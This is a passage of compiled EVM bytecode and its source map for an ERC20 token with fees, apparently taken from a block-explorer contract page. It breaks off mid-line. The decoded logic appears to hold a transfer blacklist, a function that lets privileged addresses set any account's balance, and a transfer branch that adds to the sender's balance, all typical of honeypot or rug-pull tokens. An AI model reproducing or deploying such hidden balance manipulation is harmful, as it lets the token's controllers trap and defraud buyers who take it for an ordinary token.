900460ff16156117f9576117f2848484611b69565b9050610c13565b6001600160a01b0384166000908152600a602052604090205460ff1615801561183b57506001600160a01b0383166000908152600a602052604090205460ff16155b156118a357601b548211156118a35760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610c44565b30600090815260066020526040902054601d54811080159081906118d15750601f54600160a01b900460ff16155b80156118f657506001600160a01b0386166000908152600c602052604090205460ff16155b801561190b5750601f54600160a81b900460ff165b1561193157601f54600160b01b900460ff161561192857601d5491505b61193182611c4f565b61193a86611d8a565b1561197c576001600160a01b0386166000908152600660205260409020546119629085611b27565b6001600160a01b0387166000908152600660205260409020555b6001600160a01b03861660009081526008602052604081205460ff16806119bb57506001600160a01b03861660009081526008602052604090205460ff165b6119cf576119ca878787611db2565b6119d1565b845b601f54909150600160b81b900460ff168015611a0657506001600160a01b03861660009081526009602052604090205460ff16155b15611a3c57601c54611a3182611191896001600160a01b031660009081526006602052604090205490565b1115611a3c57600080fd5b6001600160a01b0387166000908152600d602052604090205460ff1615611a6257600080fd5b6001600160a01b038616600090815260066020526040902054611a85908261158a565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611ad99085815260200190565b60405180910390a360019350505050610c13565b60008184841115611b115760405162461bcd60e51b8152600401610c4491906124bb565b506000611b1e84866125fb565b95945050505050565b6000610c1383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aed565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611bba918490611aed565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611be9908361158a565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c3d9086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b179055601954601454600091611c8591600291611c7f9182908790611eb8565b90611f37565b90506000611c938383611b27565b9050611c9e81611f79565b6014544790600090611cbe90611cb5906002611f37565b60195490611b27565b90506000611ce06002611c7f84611c7f60145488611eb890919063ffffffff16565b90506000611cfd83611c7f60165487611eb890919063ffffffff16565b90506000611d1582611d0f8786611b27565b90611b27565b90508015611d3857600454611d389061010090046001600160a01b03168261211b565b8115611d5457600554611d54906001600160a01b03168361211b565b600083118015611d645750600087115b15611d7357611d738784612156565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316611da160015461223a565b6001600160a01b0316141592915050565b6001600160a01b0383166000908152600c6020526040812054819060ff1615611df657611def6064611c7f60175486611eb890919063ffffffff16565b9050611e34565b6001600160a01b0384166000908152600c602052604090205460ff1615611e3457611e316064611c7f60185486611eb890919063ffffffff16565b90505b8015611eae5730600090815260066020526040902054611e54908261158a565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611ea59085815260200190565b60405180910390a35b611b1e8382611b27565b600082611ec757506000610ba9565b6000611ed383856125dc565b905082611ee085836125ba565b14610c135760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c44565b6000610c1383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612242565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611fae57611fae61267e565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561200257600080fd5b505afa158015612016573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061203a91906122a2565b8160018151811061204d5761204d61267e565b6001600160a01b039283166020918202929092010152601e5461207391309116846115e9565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906120ac908590600090869030904290600401612566565b600060405180830381600087803b1580156120c657600080fd5b505af11580156120da573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161210f929190612545565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015612151573d6000803e3d6000fd5b505050565b601e5461216e9030906001600160a01b0316846115e9565b601e546001600160a01b031663f305d7198230856000806121976000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156121fa57600080fd5b505af115801561220e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906122339190612449565b5050505050565b600081610ba9565b600081836122635760405162461bcd60e51b8152600401610c4491906124bb565b506000611b1e84866125ba565b8035801515811461228057600080fd5b919050565b60006020828403121561229757600080fd5b8135610c1381612694565b6000602082840312156122b457600080fd5b8151610c1381612694565b600080604083850312156122d257600080fd5b82356122dd81612694565b915060208301356122ed81612694565b809150509250929050565b60008060006060848603121561230d57600080fd5b833561231881612694565b9250602084013561232881612694565b929592945050506040919091013590565b6000806040838503121561234c57600080fd5b823561235781612694565b946020939093013593505050565b60008060006040848603121561237a57600080fd5b833567ffffffffffffffff8082111561239257600080fd5b818601915086601f8301126123a657600080fd5b8135818111156123b557600080fd5b8760208260051b85010111156123ca57600080fd5b6020928301955093506123e09186019050612270565b90509250925092565b6000602082840312156123fb57600080fd5b610c1382612270565b60006020828403121561241657600080fd5b5035919050565b60008060006060848603121561243257600080fd5b505081359360208301359350604090920135919050565b60008060006060848603121561245e57600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156124b05781516001600160a01b03168752958201959082019060010161248b565b509495945050505050565b600060208083528351808285015260005b818110156124e8578581018301518582016040015282016124cc565b818111156124fa576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b82815260406020820152600061255e6040830184612477565b949350505050565b85815284602082015260a06040820152600061258560a0830186612477565b6001600160a01b0394909416606083015250608001529392505050565b600082198211156125b5576125b5612668565b500190565b6000826125d757634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156125f6576125f6612668565b500290565b60008282101561260d5761260d612668565b500390565b600181811c9082168061262657607f821691505b6020821081141561264757634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561266157612661612668565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146126a957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fec7bed87de3651b8afd293de1038ea40e72d1296c8aad94e905f1775513ac4b64736f6c63430008060033

Deployed Bytecode Sourcemap

4289:14986:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8170:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9463:161;;;;;;;;;;-1:-1:-1;9463:161:0;;;;;:::i;:::-;;:::i;:::-;;;5541:14:1;;5534:22;5516:41;;5504:2;5489:18;9463:161:0;5471:92:1;4545:40:0;;;;;;;;;;-1:-1:-1;4545:40:0;;;;-1:-1:-1;;;;;4545:40:0;;;;;;-1:-1:-1;;;;;4187:32:1;;;4169:51;;4157:2;4142:18;4545:40:0;4124:102:1;5887:41:0;;;;;;;;;;-1:-1:-1;5887:41:0;;;;-1:-1:-1;;;;;5887:41:0;;;8447:100;;;;;;;;;;-1:-1:-1;8527:12:0;;8447:100;;;9696:25:1;;;9684:2;9669:18;8447:100:0;9651:76:1;14201:313:0;;;;;;;;;;-1:-1:-1;14201:313:0;;;;;:::i;:::-;;:::i;11682:113::-;;;;;;;;;;-1:-1:-1;11682:113:0;;;;;:::i;:::-;;:::i;:::-;;4592:81;;;;;;;;;;;;;;;12859:128;;;;;;;;;;;;;:::i;12405:129::-;;;;;;;;;;-1:-1:-1;12405:129:0;;;;;:::i;:::-;;:::i;8356:83::-;;;;;;;;;;-1:-1:-1;8422:9:0;;8356:83;;8422:9;;;;10798:36:1;;10786:2;10771:18;8356:83:0;10753:87:1;12271:126:0;;;;;;;;;;-1:-1:-1;12271:126:0;;;;;:::i;:::-;;:::i;8832:218::-;;;;;;;;;;-1:-1:-1;8832:218:0;;;;;:::i;:::-;;:::i;5072:38::-;;;;;;;;;;-1:-1:-1;5072:38:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12139:124;;;;;;;;;;-1:-1:-1;12139:124:0;;;;;:::i;:::-;;:::i;5024:41::-;;;;;;;;;;-1:-1:-1;5024:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6002:40;;;;;;;;;;-1:-1:-1;6002:40:0;;;;-1:-1:-1;;;6002:40:0;;;;;;5372:34;;;;;;;;;;;;;;;;13133:731;;;;;;;;;;-1:-1:-1;13133:731:0;;;;;:::i;:::-;;:::i;10203:331::-;;;;;;;;;;-1:-1:-1;10203:331:0;;;;;:::i;:::-;;:::i;5413:34::-;;;;;;;;;;;;;;;;11803:218;;;;;;;;;;-1:-1:-1;11803:218:0;;;;;:::i;:::-;;:::i;8555:118::-;;;;;;;;;;-1:-1:-1;8555:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;8648:17:0;8621:7;8648:17;;;:8;:17;;;;;;;8555:118;4971:46;;;;;;;;;;-1:-1:-1;4971:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9977:218;;;;;;;;;;-1:-1:-1;9977:218:0;;;;;:::i;:::-;;:::i;5694:55::-;;;;;;;;;;;;;;;;5757:53;;;;;;;;;;;;;;;;5535:37;;;;;;;;;;;;;;;;5246:36;;;;;;;;;;;;;;;;4916:48;;;;;;;;;;-1:-1:-1;4916:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;2996:79;;;;;;;;;;-1:-1:-1;3034:7:0;3061:6;-1:-1:-1;;;;;3061:6:0;2996:79;;10542:338;;;;;;;;;;-1:-1:-1;10542:338:0;;;;;:::i;:::-;;:::i;8261:87::-;;;;;;;;;;;;;:::i;2746:34::-;;;;;;;;;;;;;;;;4504;;;;;;;;;;-1:-1:-1;4504:34:0;;;;;;;-1:-1:-1;;;;;4504:34:0;;;9335:120;;;;;;;;;;-1:-1:-1;9424:23:0;;9335:120;;5579:44;;;;;;;;;;;;;;;;9058:269;;;;;;;;;;-1:-1:-1;9058:269:0;;;;;:::i;:::-;;:::i;12722:125::-;;;;;;;;;;-1:-1:-1;12722:125:0;;;;;:::i;:::-;;:::i;5454:29::-;;;;;;;;;;;;;;;;14026:167;;;;;;;;;;-1:-1:-1;14026:167:0;;;;;:::i;:::-;;:::i;11316:358::-;;;;;;;;;;-1:-1:-1;11316:358:0;;;;;:::i;:::-;;:::i;5203:30::-;;;;;;;;;;;;;;;;12542:172;;;;;;;;;;-1:-1:-1;12542:172:0;;;;;:::i;:::-;;:::i;5161:35::-;;;;;;;;;;;;;;;;5935:26;;;;;;;;;;-1:-1:-1;5935:26:0;;;;-1:-1:-1;;;;;5935:26:0;;;5289:36;;;;;;;;;;;;;;;;4857:52;;;;;;;;;;-1:-1:-1;4857:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5332:31;;;;;;;;;;;;;;;;13872:111;;;;;;;;;;-1:-1:-1;13872:111:0;;;;;:::i;:::-;;:::i;6049:45::-;;;;;;;;;;-1:-1:-1;6049:45:0;;;;-1:-1:-1;;;6049:45:0;;;;;;5119:35;;;;;;;;;;;;;;;;8681:143;;;;;;;;;;-1:-1:-1;8681:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8789:18:0;;;8762:7;8789:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8681:143;5492:36;;;;;;;;;;;;;;;;12029:102;;;;;;;;;;-1:-1:-1;12029:102:0;;;;;:::i;:::-;;:::i;4800:50::-;;;;;;;;;;-1:-1:-1;4800:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3210:157;;;;;;;;;;-1:-1:-1;3210:157:0;;;;;:::i;:::-;;:::i;6101:35::-;;;;;;;;;;-1:-1:-1;6101:35:0;;;;-1:-1:-1;;;6101:35:0;;;;;;8170:83;8207:13;8240:5;8233:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8170:83;:::o;9463:161::-;9538:4;9555:39;210:10;9578:7;9587:6;9555:8;:39::i;:::-;-1:-1:-1;9612:4:0;9463:161;;;;;:::o;14201:313::-;14299:4;14316:36;14326:6;14334:9;14345:6;14316:9;:36::i;:::-;-1:-1:-1;14363:121:0;14372:6;210:10;14394:89;14432:6;14394:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14394:19:0;;;;;;:11;:19;;;;;;;;210:10;14394:33;;;;;;;;;;:37;:89::i;:::-;14363:8;:121::i;:::-;-1:-1:-1;14502:4:0;14201:313;;;;;;:::o;11682:113::-;3123:6;;-1:-1:-1;;;;;3123:6:0;210:10;3123:22;3115:67;;;;-1:-1:-1;;;3115:67:0;;;;;;;:::i;:::-;;;;;;;;;11760:16:::1;:27:::0;;;::::1;;-1:-1:-1::0;;;11760:27:0::1;-1:-1:-1::0;;;;11760:27:0;;::::1;::::0;;;::::1;::::0;;11682:113::o;12859:128::-;12966:11;-1:-1:-1;;;;;8648:17:0;12912:7;8648:17;;;:8;:17;;;;;;12939:12;;:40;;:16;:40::i;:::-;12932:47;;12859:128;:::o;12405:129::-;3123:6;;-1:-1:-1;;;;;3123:6:0;210:10;3123:22;3115:67;;;;-1:-1:-1;;;3115:67:0;;;;;;;:::i;:::-;12487:17:::1;:39:::0;;-1:-1:-1;;;;;;12487:39:0::1;-1:-1:-1::0;;;;;12487:39:0;;;::::1;::::0;;;::::1;::::0;;12405:129::o;12271:126::-;3123:6;;-1:-1:-1;;;;;3123:6:0;210:10;3123:22;3115:67;;;;-1:-1:-1;;;3115:67:0;;;;;;;:::i;:::-;12356:11:::1;:33:::0;;-1:-1:-1;;;;;12356:33:0;;::::1;;;-1:-1:-1::0;;;;;;12356:33:0;;::::1;::::0;;;::::1;::::0;;12271:126::o;8832:218::-;210:10;8920:4;8969:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8969:34:0;;;;;;;;;;8920:4;;8937:83;;8960:7;;8969:50;;9008:10;8969:38;:50::i;12139:124::-;3123:6;;-1:-1:-1;;;;;3123:6:0;210:10;3123:22;3115:67;;;;-1:-1:-1;;;3115:67:0;;;;;;;:::i;:::-;12221:23:::1;:34:::0;12139:124::o;13133:731::-;13213:22;3123:6;;-1:-1:-1;;;;;3123:6:0;210:10;3123:22;3115:67;;;;-1:-1:-1;;;3115:67:0;;;;;;;:::i;:::-;13250:35:::1;13307:16;13250:74;;13373:16;-1:-1:-1::0;;;;;13373:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13355:53:0::1;;13417:4;13424:16;-1:-1:-1::0;;;;;13424:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13355:93;::::0;-1:-1:-1;;;;;;13355:93:0::1;::::0;;;;;;-1:-1:-1;;;;;4685:15:1;;;13355:93:0::1;::::0;::::1;4667:34:1::0;4737:15;;4717:18;;;4710:43;4602:18;;13355:93:0::1;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13338:110:::0;-1:-1:-1;;;;;;13464:28:0;::::1;13461:200;;13553:16;-1:-1:-1::0;;;;;13553:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13535:74:0::1;;13618:4;13625:16;-1:-1:-1::0;;;;;13625:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13535:114;::::0;-1:-1:-1;;;;;;13535:114:0::1;::::0;;;;;;-1:-1:-1;;;;;4685:15:1;;;13535:114:0::1;::::0;::::1;4667:34:1::0;4737:15;;4717:18;;;4710:43;4602:18;;13535:114:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13518:131;;13461:200;13673:11;:28:::0;;-1:-1:-1;;;;;;13673:28:0;;::::1;-1:-1:-1::0;;;;;13673:28:0;;::::1;::::0;;::::1;::::0;;13712:15:::1;:34:::0;;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;13760:41:0;;;:19:::1;:41;::::0;;;;;;;:48;;-1:-1:-1;;13760:48:0;;::::1;-1:-1:-1::0;13760:48:0;;::::1;::::0;;;13836:11;;;;::::1;13819:30:::0;;:8:::1;:30:::0;;;;;:37;;;;::::1;::::0;;::::1;::::0;;13673:28;13687:14;-1:-1:-1;13133:731:0:o;10203:331::-;3123:6;;-1:-1:-1;;;;;3123:6:0;210:10;3123:22;3115:67;;;;-1:-1:-1;;;3115:67:0;;;;;;;:::i;:::-;10324:16:::1;:34:::0;;;10369:16:::1;:34:::0;;;10414:11:::1;:24:::0;;;10471:55:::1;10428:10:::0;10471:38:::1;10343:15:::0;10388;10471:20:::1;:38::i;:::-;:42:::0;::::1;:55::i;:::-;10451:17;:75:::0;-1:-1:-1;;;10203:331:0:o;11803:218::-;3123:6;;-1:-1:-1;;;;;3123:6:0;210:10;3123:22;3115:67;;;;-1:-1:-1;;;3115:67:0;;;;;;;:::i;:::-;11909:9:::1;11905:109;11924:17:::0;;::::1;11905:109;;;11996:6;11963:19;:30;11983:6;;11990:1;11983:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11963:30:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;11963:30:0;:39;;-1:-1:-1;;11963:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11943:3;::::1;::::0;::::1;:::i;:::-;;;;11905:109;;;;11803:218:::0;;;:::o;9977:::-;3123:6;;-1:-1:-1;;;;;3123:6:0;210:10;3123:22;3115:67;;;;-1:-1:-1;;;3115:67:0;;;;;;;:::i;:::-;10081:9:::1;10077:111;10096:18:::0;;::::1;10077:111;;;10168:8;10136:17;:29;10154:7;;10162:1;10154:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10136:29:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10136:29:0;:40;;-1:-1:-1;;10136:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10116:3;::::1;::::0;::::1;:::i;:::-;;;;10077:111;;10542:338:::0;3123:6;;-1:-1:-1;;;;;3123:6:0;210:10;3123:22;3115:67;;;;-1:-1:-1;;;3115:67:0;;;;;;;:::i;:::-;10663:17:::1;:35:::0;;;10709:17:::1;:35:::0;;;10755:12:::1;:25:::0;;;10814:58:::1;10770:10:::0;10814:40:::1;10683:15:::0;10729;10814:21:::1;:40::i;:58::-;10793:18;:79:::0;-1:-1:-1;;;10542:338:0:o;8261:87::-;8300:13;8333:7;8326:14;;;;;:::i;9058:269::-;9151:4;9168:129;210:10;9191:7;9200:96;9239:15;9200:96;;;;;;;;;;;;;;;;;210:10;9200:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9200:34:0;;;;;;;;;;;;:38;:96::i;12722:125::-;3123:6;;-1:-1:-1;;;;;3123:6:0;210:10;3123:22;3115:67;;;;-1:-1:-1;;;3115:67:0;;;;;;;:::i;:::-;12803:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;12803:36:0::1;-1:-1:-1::0;;;;12803:36:0;;::::1;::::0;;;::::1;::::0;;12722:125::o;14026:167::-;14104:4;14121:42;210:10;14145:9;14156:6;14121:9;:42::i;11316:358::-;3123:6;;-1:-1:-1;;;;;3123:6:0;210:10;3123:22;3115:67;;;;-1:-1:-1;;;3115:67:0;;;;;;;:::i;:::-;11457:15:::1;:35:::0;;;11503:15:::1;:35:::0;;;11549:10:::1;:25:::0;;;11614:52:::1;11562:12:::0;11614:36:::1;11475:17:::0;11521;11614:19:::1;:36::i;:52::-;11587:24;:79:::0;-1:-1:-1;;;11316:358:0:o;12542:172::-;3123:6;;-1:-1:-1;;;;;3123:6:0;210:10;3123:22;3115:67;;;;-1:-1:-1;;;3115:67:0;;;;;;;:::i;:::-;12620:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;12620:32:0::1;-1:-1:-1::0;;;;12620:32:0;;::::1;;::::0;;12668:38:::1;::::0;::::1;::::0;::::1;::::0;12644:8;5541:14:1;5534:22;5516:41;;5504:2;5489:18;;5471:92;12668:38:0::1;;;;;;;;12542:172:::0;:::o;13872:111::-;13947:10;13935:23;;;;:8;:23;;;;;;;;13929:52;;;-1:-1:-1;;;;;13959:13:0;;;;;;:8;:13;;;;;:22;;;13929:52;13872:111;;:::o;12029:102::-;3123:6;;-1:-1:-1;;;;;3123:6:0;210:10;3123:22;3115:67;;;;-1:-1:-1;;;3115:67:0;;;;;;;:::i;:::-;12101:10:::1;:22:::0;12029:102::o;3210:157::-;3123:6;;-1:-1:-1;;;;;3123:6:0;210:10;3123:22;3115:67;;;;-1:-1:-1;;;3115:67:0;;;;;;;:::i;:::-;3284:6:::1;:19:::0;;-1:-1:-1;;;;;;3284:19:0::1;-1:-1:-1::0;;;;;3284:19:0;::::1;::::0;;::::1;::::0;;3319:40:::1;::::0;3284:19;;;;3319:40:::1;::::0;3284:6;3319:40:::1;3210:157:::0;:::o;1061:181::-;1119:7;;1151:5;1155:1;1151;:5;:::i;:::-;1139:17;;1180:1;1175;:6;;1167:46;;;;-1:-1:-1;;;1167:46:0;;7413:2:1;1167:46:0;;;7395:21:1;7452:2;7432:18;;;7425:30;7491:29;7471:18;;;7464:57;7538:18;;1167:46:0;7385:177:1;9632:337:0;-1:-1:-1;;;;;9725:19:0;;9717:68;;;;-1:-1:-1;;;9717:68:0;;9347:2:1;9717:68:0;;;9329:21:1;9386:2;9366:18;;;9359:30;9425:34;9405:18;;;9398:62;-1:-1:-1;;;9476:18:1;;;9469:34;9520:19;;9717:68:0;9319:226:1;9717:68:0;-1:-1:-1;;;;;9804:21:0;;9796:68;;;;-1:-1:-1;;;9796:68:0;;7010:2:1;9796:68:0;;;6992:21:1;7049:2;7029:18;;;7022:30;7088:34;7068:18;;;7061:62;-1:-1:-1;;;7139:18:1;;;7132:32;7181:19;;9796:68:0;6982:224:1;9796:68:0;-1:-1:-1;;;;;9877:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9929:32;;9696:25:1;;;9929:32:0;;9669:18:1;9929:32:0;;;;;;;9632:337;;;:::o;14522:1829::-;14609:4;-1:-1:-1;;;;;14636:20:0;;14628:70;;;;-1:-1:-1;;;14628:70:0;;8941:2:1;14628:70:0;;;8923:21:1;8980:2;8960:18;;;8953:30;9019:34;8999:18;;;8992:62;-1:-1:-1;;;9070:18:1;;;9063:35;9115:19;;14628:70:0;8913:227:1;14628:70:0;-1:-1:-1;;;;;14717:23:0;;14709:71;;;;-1:-1:-1;;;14709:71:0;;6606:2:1;14709:71:0;;;6588:21:1;6645:2;6625:18;;;6618:30;6684:34;6664:18;;;6657:62;-1:-1:-1;;;6735:18:1;;;6728:33;6778:19;;14709:71:0;6578:225:1;14709:71:0;14804:16;;-1:-1:-1;;;14804:16:0;;;;14801:1543;;;14854:41;14869:6;14877:9;14888:6;14854:14;:41::i;:::-;14847:48;;;;14801:1543;-1:-1:-1;;;;;14951:23:0;;;;;;:15;:23;;;;;;;;14950:24;:55;;;;-1:-1:-1;;;;;;14979:26:0;;;;;;:15;:26;;;;;;;;14978:27;14950:55;14947:170;;;15044:12;;15034:6;:22;;15026:75;;;;-1:-1:-1;;;15026:75:0;;7769:2:1;15026:75:0;;;7751:21:1;7808:2;7788:18;;;7781:30;7847:34;7827:18;;;7820:62;-1:-1:-1;;;7898:18:1;;;7891:38;7946:19;;15026:75:0;7741:230:1;15026:75:0;15180:4;15131:28;8648:17;;;:8;:17;;;;;;15256:23;;15232:47;;;;;;;15298:44;;-1:-1:-1;15326:16:0;;-1:-1:-1;;;15326:16:0;;;;15325:17;15298:44;:65;;;;-1:-1:-1;;;;;;15347:16:0;;;;;;:8;:16;;;;;;;;15346:17;15298:65;:90;;;;-1:-1:-1;15367:21:0;;-1:-1:-1;;;15367:21:0;;;;15298:90;15294:297;;;15426:25;;-1:-1:-1;;;15426:25:0;;;;15423:97;;;15497:23;;15474:46;;15423:97;15539:36;15554:20;15539:14;:36::i;:::-;15594:10;15597:6;15594:2;:10::i;:::-;15591:96;;;-1:-1:-1;;;;;15643:16:0;;;;;;:8;:16;;;;;;:28;;15664:6;15643:20;:28::i;:::-;-1:-1:-1;;;;;15624:16:0;;;;;;:8;:16;;;;;:47;15591:96;-1:-1:-1;;;;;15710:25:0;;15687:19;15710:25;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;15739:28:0;;;;;;:17;:28;;;;;;;;15710:57;15709:148;;15823:34;15831:6;15839:9;15850:6;15823:7;:34::i;:::-;15709:148;;;15814:6;15709:148;15889:16;;15687:170;;-1:-1:-1;;;;15889:16:0;;;;:51;;;;-1:-1:-1;;;;;;15910:30:0;;;;;;:19;:30;;;;;;;;15909:31;15889:51;15886:133;;;16008:10;;15967:37;15992:11;15967:20;15977:9;-1:-1:-1;;;;;8648:17:0;8621:7;8648:17;;;:8;:17;;;;;;;8555:118;15967:37;:51;;15959:60;;;;;;-1:-1:-1;;;;;16083:15:0;;;;;;:5;:15;;;;;;;;16080:91;;;16139:22;;;;-1:-1:-1;;;;;16208:19:0;;;;;;:8;:19;;;;;;:36;;16232:11;16208:23;:36::i;:::-;-1:-1:-1;;;;;16186:19:0;;;;;;;:8;:19;;;;;;;:58;;;;16266:40;;;;;;;;;;16294:11;9696:25:1;;9684:2;9669:18;;9651:76;16266:40:0;;;;;;;;16328:4;16321:11;;;;;;;1396:192;1482:7;1518:12;1510:6;;;;1502:29;;;;-1:-1:-1;;;1502:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1542:9:0;1554:5;1558:1;1554;:5;:::i;:::-;1542:17;1396:192;-1:-1:-1;;;;;1396:192:0:o;1252:136::-;1310:7;1337:43;1341:1;1344;1337:43;;;;;;;;;;;;;;;;;:3;:43::i;16363:326::-;16492:52;;;;;;;;;;;-1:-1:-1;;;16492:52:0;;;;;;;;-1:-1:-1;;;;;16492:16:0;;16456:4;16492:16;;;:8;:16;;;;;;;:52;;16513:6;;16492:20;:52::i;:::-;-1:-1:-1;;;;;16473:16:0;;;;;;;:8;:16;;;;;;:71;;;;16577:19;;;;;;;:31;;16601:6;16577:23;:31::i;:::-;-1:-1:-1;;;;;16555:19:0;;;;;;;:8;:19;;;;;;;:53;;;;16624:35;;;;;;;;;;16652:6;9696:25:1;;9684:2;9669:18;;9651:76;16624:35:0;;;;;;;;-1:-1:-1;16677:4:0;16363:326;;;;;:::o;16697:1037::-;6559:16;:23;;-1:-1:-1;;;;6559:23:0;-1:-1:-1;;;6559:23:0;;;16834:24:::1;::::0;6559:16;16813:15;6559:23;;16801:65:::1;::::0;16864:1:::1;::::0;16801:58:::1;::::0;;;:7;;:11:::1;:28::i;:::-;:32:::0;::::1;:58::i;:65::-;16779:87:::0;-1:-1:-1;16877:21:0::1;16901:24;:7:::0;16779:87;16901:11:::1;:24::i;:::-;16877:48;;16938:31;16955:13;16938:16;:31::i;:::-;17090:15;::::0;17005:21:::1;::::0;16980:22:::1;::::0;17061:52:::1;::::0;17090:22:::1;::::0;17110:1:::1;17090:19;:22::i;:::-;17061:24;::::0;;:28:::1;:52::i;:::-;17039:74;;17134:26;17163:59;17220:1;17163:52;17203:11;17163:35;17182:15;;17163:14;:18;;:35;;;;:::i;:59::-;17134:88;;17233:21;17257:47;17292:11;17257:30;17276:10;;17257:14;:18;;:30;;;;:::i;:47::-;17233:71:::0;-1:-1:-1;17315:26:0::1;17344:57;17233:71:::0;17344:38:::1;:14:::0;17363:18;17344::::1;:38::i;:::-;:42:::0;::::1;:57::i;:::-;17315:86:::0;-1:-1:-1;17417:22:0;;17414:93:::1;;17475